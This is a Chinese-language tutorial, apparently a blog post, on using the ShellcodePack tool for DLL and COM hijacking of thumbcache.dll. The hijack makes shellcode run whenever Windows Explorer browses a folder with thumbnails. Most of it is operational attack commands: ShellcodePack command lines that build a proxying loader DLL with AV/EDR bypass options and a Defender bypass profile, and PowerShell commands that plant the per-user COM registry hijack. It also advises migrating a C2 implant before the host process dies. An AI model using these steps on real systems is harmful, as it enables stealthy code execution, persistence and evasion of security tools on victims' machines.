利用ShellcodePack实现DLL劫持与COM对象劫持技术详解

利用ShellcodePack实现DLL劫持与COM对象劫持技术详解

本文是一份关于使用 BallisKit ShellcodePack(版本 2.7.2 及以上)执行 DLL 劫持的小型教程。在本例中,我们将对 thumbcache.dll 使用 COM 劫持技术,从而在每次浏览资源管理器时触发有效载荷。

技术背景

当浏览包含缩略图的文件夹时,系统会触发 CLSID 为 {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} 的 COM 对象执行。通过查看注册表路径:

HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32

可以发现该对象的实现文件位于:

C:\Windows\System32\thumbcache.dll

ProcMon 监控 thumbcache.dll 加载

通过 Process Monitor 观察,当文件夹被浏览时,thumbcache.dll 会由 DllHost.exe 加载。同时注意到,系统会优先加载 HKEY_CLASS_USER 中定义的值(如果存在)。我们将利用这一特性来运行 shellcode 加载器 DLL。

第一步:生成 shellcode 加载器 DLL

ShellcodePack 支持多种从 DLL 加载 shellcode 的策略。本例选择从 DLL_MAIN 中加载 shellcode。我们使用 dll-proxy 选项将导出的函数调用自动转发至原始 DLL,同时使用 dll-increase-reference-count 选项避免恶意 DLL 被提前卸载。

使用以下命令行生成我们的 DLL:

bash 复制代码
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count --dll-proxy="c:\windows\system32\thumbcache.dll"

提示 :使用 --bypass 选项可自动应用多种 AV/EDR 绕过方案来生成载荷。你也可以通过以下方式使用预定义的 EDR 绕过预设:

bash 复制代码
--bypass-profile=bypass_profiles\defender_bypass_profile.json

第二步:注册表中的 COM 劫持配置

使用以下 PowerShell 命令行设置注册表项:

powershell 复制代码
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\my\path\thumbcache.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Apartment"

生成的注册表项结构如图所示(预期效果)。

第三步:漏洞利用

打开资源管理器,点击包含缩略图的文件夹(例如「此电脑」)。此时 shellcode 将被成功启动!

第四步:清理

使用以下命令清理注册表:

powershell 复制代码
Remove-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"

限制与替代方案

在 COM 劫持场景中,当被劫持的进程终止时(本例中为几秒后),你的 shellcode 会被中断。如果 shellcode 是一个 C2 植入程序,你可能需要在此之前迁移到其他进程。

替代方案一 :移除 dll-proxy 选项。在这种情况下,由于对 DLL 的调用会失败,进程可能不会立即关闭。缺点是此方法并非在所有场景下都有效。

保持目标进程在劫持后继续运行的命令示例:

bash 复制代码
shellcode_pack.exe -i "x64shellcode.bin" -G "C:\my\path\thumbcache.dll" --arch=win_x64 --bypass --dll-increase-reference-count

替代方案二 :不通过 DLL_MAIN 运行 shellcode 并代理导出函数,而是从导出函数中运行 shellcode。你可以使用 dll-run-shellcode-from-dll-export 选项,并通过 dll-export=DLL_EXPORT_NAME 重命名默认的 ShellcodePack 导出函数。但需要注意,从导出函数加载的问题在于,在 DLL 劫持场景中,调用程序可能无法正常运行。 CSD0tFqvECLokhw9aBeRqv0CjOLMPgMxZs9OkOfethamM50XDnXyZbBEdIw1I2NdN45R4gFPBXJrnxWMLeVhZ58KQ+60IxEXoR89fK55CSY=

相关推荐
西瓜拿铁好喝1 小时前
2026 语义缓存实战:把命中契约写进SPEC,MonkeyCode 云端跑通
人工智能·机器学习·缓存
老余说AI2 小时前
AI 漫剧赛道转向:游戏 IP 改编如何走出同质化,AI 多语种工具如何补上海外分发缺口
人工智能·短剧
hhzz2 小时前
【OpenCV 入门到精通 03】图像入门:读取、显示、保存完全指南
人工智能·python·opencv·计算机视觉
hfywmsj6 小时前
广州餐饮铺位招租决策模型:多因子选址系统设计
开发语言·人工智能·python·广州餐饮铺位招租
倔强的石头_8 小时前
我用 WorkBuddy 做了一次三巨头年报横向财务分析:从 276 页 PDF 到一张可核验的比较表
aigc
沧沧凉凉8 小时前
同一个 Blender 建模,Claude 两个模型都翻车,GPT-6 一次过
人工智能·游戏·ai编程
X54先生(人文科技)9 小时前
ELR-SELLM Edge 神经元网络架构评估报告
人工智能·深度学习·架构·开源
今年下半年9 小时前
从零开始搭建一套大语言模型 + LangGraph 多智能体编排 + RAG 知识库检索** 的智能问答平台
人工智能·语言模型·自然语言处理
Lifangyun_WD9 小时前
RTX 5090 与 RTX PRO 6000 怎么选?32GB 和 96GB 显存分别适合哪些 AI 任务
人工智能·aigc·gpu算力·芯片·gpu租赁